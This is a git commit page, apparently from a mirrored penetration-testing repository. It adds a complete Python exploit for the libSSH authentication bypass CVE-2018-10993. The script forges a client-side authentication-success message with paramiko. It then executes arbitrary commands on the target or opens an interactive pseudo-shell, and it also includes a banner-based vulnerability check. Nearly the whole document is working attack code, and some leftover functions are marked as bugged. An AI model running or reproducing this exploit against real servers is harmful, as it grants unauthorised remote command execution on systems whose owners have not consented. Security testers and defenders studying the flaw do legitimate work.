mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2025-11-04 04:55:26 +01:00
Added libssh-auth-bypass / CVE-2018-10993
This commit is contained in:
mb
380
networks/libssh-auth-bypass.py
Normal file
380
networks/libssh-auth-bypass.py
Normal file
@@ -0,0 +1,380 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
#
|
||||
# CVE-2018-10993 libSSH authentication bypass exploit
|
||||
#
|
||||
# The libSSH library has flawed authentication/connection state-machine.
|
||||
# Upon receiving from connecting client the MSG_USERAUTH_SUCCESS Message
|
||||
# (as described in RFC4252, sec. 5.1.) which is an authentication response message
|
||||
# that should be returned by the server itself (not accepted from client)
|
||||
# the libSSH switches to successful post-authentication state. In such state,
|
||||
# it impersonates connecting client as server's root user and begins executing
|
||||
# delivered commands.
|
||||
# This results in opening an authenticated remote-access channel
|
||||
# without any authentication attempts (authentication bypass).
|
||||
#
|
||||
# Below exploit contains modified code taken from:
|
||||
# - https://github.com/leapsecurity/libssh-scanner
|
||||
#
|
||||
# Known issues:
|
||||
# - UnauthSSH.shell() function is not working:
|
||||
# I never got paramiko.Channel.invoke_shell() into working from custom
|
||||
# transport object. Therefore as a workaround - `UnauthSSH.parashell()` function
|
||||
# was implemented that substitutes original functionality of spawning shell.
|
||||
#
|
||||
# Requirements:
|
||||
# - paramiko
|
||||
#
|
||||
# Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
||||
#
|
||||
|
||||
import sys
|
||||
import socket
|
||||
import time
|
||||
import argparse
|
||||
from sys import argv, exit
|
||||
|
||||
try:
|
||||
import paramiko
|
||||
except ImportError:
|
||||
print('[!] Paramiko required: python3 -m pip install paramiko')
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
VERSION = '0.1'
|
||||
|
||||
config = {
|
||||
'debug' : False,
|
||||
'verbose' : False,
|
||||
'host' : '',
|
||||
'port' : 22,
|
||||
'log' : '',
|
||||
'connection_timeout' : 5.0,
|
||||
'session_timeout' : 10.0,
|
||||
'buflen' : 4096,
|
||||
'command' : '',
|
||||
'shell' : False,
|
||||
}
|
||||
|
||||
class Logger:
|
||||
@staticmethod
|
||||
def _out(x):
|
||||
if config['debug'] or config['verbose']:
|
||||
sys.stdout.write(x + '\n')
|
||||
|
||||
@staticmethod
|
||||
def dbg(x):
|
||||
if config['debug']:
|
||||
sys.stdout.write('[dbg] ' + x + '\n')
|
||||
|
||||
@staticmethod
|
||||
def out(x):
|
||||
Logger._out('[.] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def info(x):
|
||||
Logger._out('[?] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def err(x):
|
||||
sys.stdout.write('[!] ' + x + '\n')
|
||||
|
||||
@staticmethod
|
||||
def fail(x):
|
||||
Logger._out('[-] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def ok(x):
|
||||
Logger._out('[+] ' + x)
|
||||
|
||||
class UnauthSSH():
|
||||
def __init__(self):
|
||||
self.host = config['host']
|
||||
self.port = config['port']
|
||||
self.sock = None
|
||||
self.transport = None
|
||||
self.connectionInfoOnce = False
|
||||
|
||||
def __del__(self):
|
||||
if self.sock:
|
||||
self.sock.close()
|
||||
|
||||
def sshAuthBypass(self, force = False):
|
||||
if not force and (self.transport and self.transport.is_active()):
|
||||
Logger.dbg('Returning already issued SSH Transport')
|
||||
return self.transport
|
||||
|
||||
self.__del__()
|
||||
self.sock = socket.socket()
|
||||
|
||||
if not self.connectionInfoOnce:
|
||||
self.connectionInfoOnce = True
|
||||
Logger.info('Connecting with {}:{} ...'.format(
|
||||
self.host, self.port
|
||||
))
|
||||
|
||||
try:
|
||||
self.sock.connect((str(self.host), int(self.port)))
|
||||
Logger.ok('Connected.')
|
||||
except Exception as e:
|
||||
Logger.fail('Could not connect to {}:{} . Exception: {}'.format(
|
||||
self.host, self.port, str(e)
|
||||
))
|
||||
sys.exit(1)
|
||||
|
||||
message = paramiko.message.Message()
|
||||
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
|
||||
|
||||
transport = paramiko.transport.Transport(self.sock)
|
||||
transport.start_client(timeout = config['connection_timeout'])
|
||||
transport._send_message(message)
|
||||
|
||||
self.transport = transport
|
||||
return transport
|
||||
|
||||
def NOT_WORKING_shell(self):
|
||||
# FIXME: invoke_shell() closes channel prematurely.
|
||||
transport = self.sshAuthBypass()
|
||||
session = transport.open_session(timeout = config['session_timeout'])
|
||||
session.set_combine_stdLogger.err(True)
|
||||
session.get_pty()
|
||||
session.invoke_shell()
|
||||
|
||||
username = UnauthSSH._send_recv(session, 'username')
|
||||
hostname = UnauthSSH._send_recv(session, 'hostname')
|
||||
|
||||
prompt = '{}@{} $ '.format(username, hostname)
|
||||
|
||||
while True:
|
||||
inp = input(prompt).strip()
|
||||
|
||||
if inp.lower() in ['exit', 'quit'] or not inp:
|
||||
Logger.info('Quitting...')
|
||||
break
|
||||
|
||||
out = UnauthSSH._send_recv(session, inp)
|
||||
if not out:
|
||||
Logger.err('Could not constitute stable shell.')
|
||||
return
|
||||
|
||||
print(out)
|
||||
|
||||
def shell(self):
|
||||
self.parashell()
|
||||
|
||||
def parashell(self):
|
||||
username = self.execute('whoami')
|
||||
hostname = self.execute('hostname')
|
||||
|
||||
prompt = '{}@{} $ '.format(username, hostname)
|
||||
|
||||
if not username or not hostname:
|
||||
Logger.fail('Could not obtain username ({}) and/or hostname ({})!'.format(
|
||||
username, hostname
|
||||
))
|
||||
return
|
||||
|
||||
Logger.info('Entering pseudo-shell...')
|
||||
while True:
|
||||
inp = input(prompt).strip()
|
||||
|
||||
if inp.lower() in ['exit', 'quit'] or not inp:
|
||||
Logger.info('Quitting...')
|
||||
break
|
||||
|
||||
out = self.execute(inp)
|
||||
if not out:
|
||||
Logger.err('Could not constitute stable shell.')
|
||||
return
|
||||
|
||||
print(out)
|
||||
|
||||
|
||||
# FIXME: Not used as NOT_WORKING_shell() is bugged.
|
||||
@staticmethod
|
||||
def _send_recv(session, cmd):
|
||||
out = ''
|
||||
session.send(cmd.strip() + '\n')
|
||||
|
||||
MAX_TIMEOUT = config['session_timeout']
|
||||
timeout = 0.0
|
||||
|
||||
while not session.exit_status_ready():
|
||||
time.sleep(0.1)
|
||||
timeout += 0.1
|
||||
|
||||
if timeout > MAX_TIMEOUT:
|
||||
return None
|
||||
if session.recv_ready():
|
||||
out += session.recv(config['buflen']).decode()
|
||||
|
||||
if session.recv_stderr_ready():
|
||||
out += session.recv_stdLogger.err(config['buflen']).decode()
|
||||
|
||||
while session.recv_ready():
|
||||
out += session.recv_ready(config['buflen'])
|
||||
|
||||
return out
|
||||
|
||||
@staticmethod
|
||||
def _exec(session, inp):
|
||||
inp = inp.strip()
|
||||
|
||||
Logger.dbg('Executing command: "{}"'.format(inp))
|
||||
session.exec_command(inp + '\n')
|
||||
|
||||
retcode = session.recv_exit_status()
|
||||
buf = ''
|
||||
|
||||
while session.recv_ready():
|
||||
buf += session.recv(config['buflen']).decode()
|
||||
|
||||
buf = buf.strip()
|
||||
Logger.dbg('Returned:\n{}'.format(buf))
|
||||
return buf
|
||||
|
||||
def execute(self, cmd, printout = False, tryAgain = False):
|
||||
transport = self.sshAuthBypass(force = tryAgain)
|
||||
session = transport.open_session(timeout = config['session_timeout'])
|
||||
session.set_combine_stderr(True)
|
||||
|
||||
buf = ''
|
||||
try:
|
||||
buf = UnauthSSH._exec(session, cmd)
|
||||
except paramiko.SSHException as e:
|
||||
if 'channel closed' in str(e).lower() and not tryAgain:
|
||||
return self.execute(cmd, printout, True)
|
||||
|
||||
if printout and not tryAgain:
|
||||
Logger.fail('Could not execute command ({}): "{}"'.format(cmd, str(e)))
|
||||
return ''
|
||||
|
||||
if printout:
|
||||
print('\n{} $ {}'.format(self.host, cmd))
|
||||
print('{}'.format(buf))
|
||||
|
||||
return buf
|
||||
|
||||
def exploit():
|
||||
handler = UnauthSSH()
|
||||
if config['command']:
|
||||
out = handler.execute(config['command'])
|
||||
Logger._out('\n$ {}'.format(config['command']))
|
||||
print(out)
|
||||
else:
|
||||
handler.shell()
|
||||
|
||||
def collectBanner():
|
||||
ip = config['host']
|
||||
port = config['port']
|
||||
|
||||
try:
|
||||
s = socket.create_connection((ip, port), timeout = config['connection_timeout'])
|
||||
Logger.ok('Connected to the target: {}:{}'.format(ip, port))
|
||||
s.settimeout(None)
|
||||
banner = s.recv(config['buflen'])
|
||||
s.close()
|
||||
return banner.split(b"\n")[0]
|
||||
|
||||
except (socket.timeout, socket.error) as e:
|
||||
Logger.fail('SSH connection timeout.')
|
||||
return ""
|
||||
|
||||
def check():
|
||||
global config
|
||||
if not config['command'] and not config['shell']:
|
||||
config['verbose'] = True
|
||||
|
||||
banner = collectBanner()
|
||||
|
||||
if banner:
|
||||
Logger.info('Obtained banner: "{}"'.format(banner.decode().strip()))
|
||||
|
||||
#
|
||||
# NOTICE: The below version-checking logic was taken from:
|
||||
# - https://github.com/leapsecurity/libssh-scanner
|
||||
#
|
||||
|
||||
if any(version in banner for version in [b"libssh-0.6", b"libssh_0.6"]):
|
||||
Logger.ok('Target seems to be VULNERABLE!')
|
||||
|
||||
elif any(version in banner for version in [b"libssh-0.7", b"libssh_0.7"]):
|
||||
# libssh is 0.7.6 or greater (patched)
|
||||
if int(banner.split(b".")[-1]) >= 6:
|
||||
Logger.info('Target seems to be PATCHED.')
|
||||
else:
|
||||
Logger.ok('Target seems to be VULNERABLE!')
|
||||
return True
|
||||
|
||||
elif any(version in banner for version in [b"libssh-0.8", b"libssh_0.8"]):
|
||||
# libssh is 0.8.4 or greater (patched)
|
||||
if int(banner.split(b".")[-1]) >= 4:
|
||||
Logger.info('Target seems to be PATCHED.')
|
||||
else:
|
||||
Logger.ok('Target seems to be VULNERABLE!')
|
||||
return True
|
||||
|
||||
else:
|
||||
Logger.fail('Target is not vulnerable.')
|
||||
|
||||
else:
|
||||
Logger.err('Could not obtain SSH service banner.')
|
||||
|
||||
return False
|
||||
|
||||
def parse_opts():
|
||||
global config
|
||||
|
||||
parser = argparse.ArgumentParser(description = 'If there was neither shell nor command option specified - exploit will switch to detect mode yielding vulnerable/not vulnerable flag.')
|
||||
parser.add_argument('host', help='Hostname/IP address that is running vulnerable libSSH server.')
|
||||
parser.add_argument('-p', '--port', help='libSSH port', default = 22)
|
||||
parser.add_argument('-s', '--shell', help='Exploit the vulnerability and spawn pseudo-shell', action='store_true', default = False)
|
||||
parser.add_argument('-c', '--command', help='Execute single command. ', default='')
|
||||
parser.add_argument('--logfile', help='Logfile to write paramiko connection logs', default = "")
|
||||
|
||||
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
|
||||
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
config['host'] = args.host
|
||||
config['port'] = args.port
|
||||
config['log'] = args.logfile
|
||||
config['command'] = args.command
|
||||
config['shell'] = args.shell
|
||||
config['verbose'] = args.verbose
|
||||
config['debug'] = args.debug
|
||||
|
||||
if args.shell and args.command:
|
||||
Logger.err('Shell and command options are mutually exclusive!\n')
|
||||
raise Exception()
|
||||
|
||||
except:
|
||||
parser.print_help()
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def main():
|
||||
sys.stderr.write('''
|
||||
:: CVE-2018-10993 libSSH authentication bypass exploit.
|
||||
Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
|
||||
Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
|
||||
v{}
|
||||
|
||||
'''.format(VERSION))
|
||||
if not parse_opts():
|
||||
return False
|
||||
|
||||
if config['log']:
|
||||
paramiko.util.log_to_file(config['log'])
|
||||
|
||||
check()
|
||||
|
||||
if config['command'] or config['shell']:
|
||||
exploit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
||||
Reference in New Issue
Block a user